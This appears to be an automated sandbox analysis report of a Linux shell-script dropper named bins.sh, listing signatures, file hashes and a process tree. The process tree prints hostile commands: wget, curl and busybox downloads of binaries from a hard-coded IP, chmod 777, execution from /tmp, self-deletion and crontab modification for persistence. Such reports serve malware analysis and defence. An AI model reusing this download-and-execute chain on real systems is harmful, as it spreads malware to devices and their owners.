Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    14/11/2024, 16:47

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241114-vahlwa1fld
  • SHA256 0282f958aaf0ace902fafbe0df8005a7f749cfe8b6cc10f7046d273fdd201743
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2034) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:640
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:642
        • /usr/bin/wget
          wget http://216.126.231.240/bins/aCaZOWWqWTTF5RgTQuIFuRXGGHuLdu1qKD
          2⤵
          • Writes file to tmp directory
          PID:645
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/aCaZOWWqWTTF5RgTQuIFuRXGGHuLdu1qKD
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:665
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/aCaZOWWqWTTF5RgTQuIFuRXGGHuLdu1qKD
          2⤵
          • Writes file to tmp directory
          PID:670
        • /bin/chmod
          chmod 777 aCaZOWWqWTTF5RgTQuIFuRXGGHuLdu1qKD
          2⤵
          • File and Directory Permissions Modification
          PID:671
        • /tmp/aCaZOWWqWTTF5RgTQuIFuRXGGHuLdu1qKD
          ./aCaZOWWqWTTF5RgTQuIFuRXGGHuLdu1qKD
          2⤵
          • Executes dropped EXE
          PID:672
        • /bin/rm
          rm aCaZOWWqWTTF5RgTQuIFuRXGGHuLdu1qKD
          2⤵
            PID:674
          • /usr/bin/wget
            wget http://216.126.231.240/bins/GB8hsmN8TIdJFPDffuE6Umjpx6RwCJke2m
            2⤵
            • Writes file to tmp directory
            PID:675
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/GB8hsmN8TIdJFPDffuE6Umjpx6RwCJke2m
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:684
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/GB8hsmN8TIdJFPDffuE6Umjpx6RwCJke2m
            2⤵
            • Writes file to tmp directory
            PID:694
          • /bin/chmod
            chmod 777 GB8hsmN8TIdJFPDffuE6Umjpx6RwCJke2m
            2⤵
            • File and Directory Permissions Modification
            PID:699
          • /tmp/GB8hsmN8TIdJFPDffuE6Umjpx6RwCJke2m
            ./GB8hsmN8TIdJFPDffuE6Umjpx6RwCJke2m
            2⤵
            • Executes dropped EXE
            PID:701
          • /bin/rm
            rm GB8hsmN8TIdJFPDffuE6Umjpx6RwCJke2m
            2⤵
              PID:703
            • /usr/bin/wget
              wget http://216.126.231.240/bins/tMDGpogLiYTmWC46ClNBfUU9zVfCDAfdAc
              2⤵
              • Writes file to tmp directory
              PID:704
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/tMDGpogLiYTmWC46ClNBfUU9zVfCDAfdAc
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:714
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/tMDGpogLiYTmWC46ClNBfUU9zVfCDAfdAc
              2⤵
              • Writes file to tmp directory
              PID:727
            • /bin/chmod
              chmod 777 tMDGpogLiYTmWC46ClNBfUU9zVfCDAfdAc
              2⤵
              • File and Directory Permissions Modification
              PID:730
            • /tmp/tMDGpogLiYTmWC46ClNBfUU9zVfCDAfdAc
              ./tMDGpogLiYTmWC46ClNBfUU9zVfCDAfdAc
              2⤵
              • Executes dropped EXE
              PID:731
            • /bin/rm
              rm tMDGpogLiYTmWC46ClNBfUU9zVfCDAfdAc
              2⤵
                PID:733
              • /usr/bin/wget
                wget http://216.126.231.240/bins/f7SiM7xVfZAtFPPv5v3kMkBrdIUrpE13EX
                2⤵
                • Writes file to tmp directory
                PID:734
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/f7SiM7xVfZAtFPPv5v3kMkBrdIUrpE13EX
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:738
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/f7SiM7xVfZAtFPPv5v3kMkBrdIUrpE13EX
                2⤵
                • Writes file to tmp directory
                PID:753
              • /bin/chmod
                chmod 777 f7SiM7xVfZAtFPPv5v3kMkBrdIUrpE13EX
                2⤵
                • File and Directory Permissions Modification
                PID:760
              • /tmp/f7SiM7xVfZAtFPPv5v3kMkBrdIUrpE13EX
                ./f7SiM7xVfZAtFPPv5v3kMkBrdIUrpE13EX
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:761
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:764
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:765
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:766
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:768
                    • /bin/rm
                      rm f7SiM7xVfZAtFPPv5v3kMkBrdIUrpE13EX
                      2⤵
                        PID:775
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/0YTzy7PRMdcnsm0nFmy1RLlQ4zsXAlEYRR
                        2⤵
                          PID:778

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            GB8hsmN8TIdJFPDffuE6Umjpx6RwCJke2m

                            • Path /tmp/GB8hsmN8TIdJFPDffuE6Umjpx6RwCJke2m
                            • Size 107KB
                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                            • MD5 SHA1 SHA512 SSDEEP

                            aCaZOWWqWTTF5RgTQuIFuRXGGHuLdu1qKD

                            • Path /tmp/aCaZOWWqWTTF5RgTQuIFuRXGGHuLdu1qKD
                            • Size 111KB
                            • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                            • MD5 SHA1 SHA512 SSDEEP

                            f7SiM7xVfZAtFPPv5v3kMkBrdIUrpE13EX

                            • Path /tmp/f7SiM7xVfZAtFPPv5v3kMkBrdIUrpE13EX
                            • Size 177KB
                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                            • MD5 SHA1 SHA512 SSDEEP

                            tMDGpogLiYTmWC46ClNBfUU9zVfCDAfdAc

                            • Path /tmp/tMDGpogLiYTmWC46ClNBfUU9zVfCDAfdAc
                            • Size 99KB
                            • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                            • MD5 SHA1 SHA512 SSDEEP

                            tmp.GlWZNj

                            • Path /var/spool/cron/crontabs/tmp.GlWZNj
                            • Size 210B
                            • SHA256 fc52492faf2cee45880b37d0a14a78b8757afb99376a7a7800b13478e6672a11
                            • MD5 SHA1 SHA512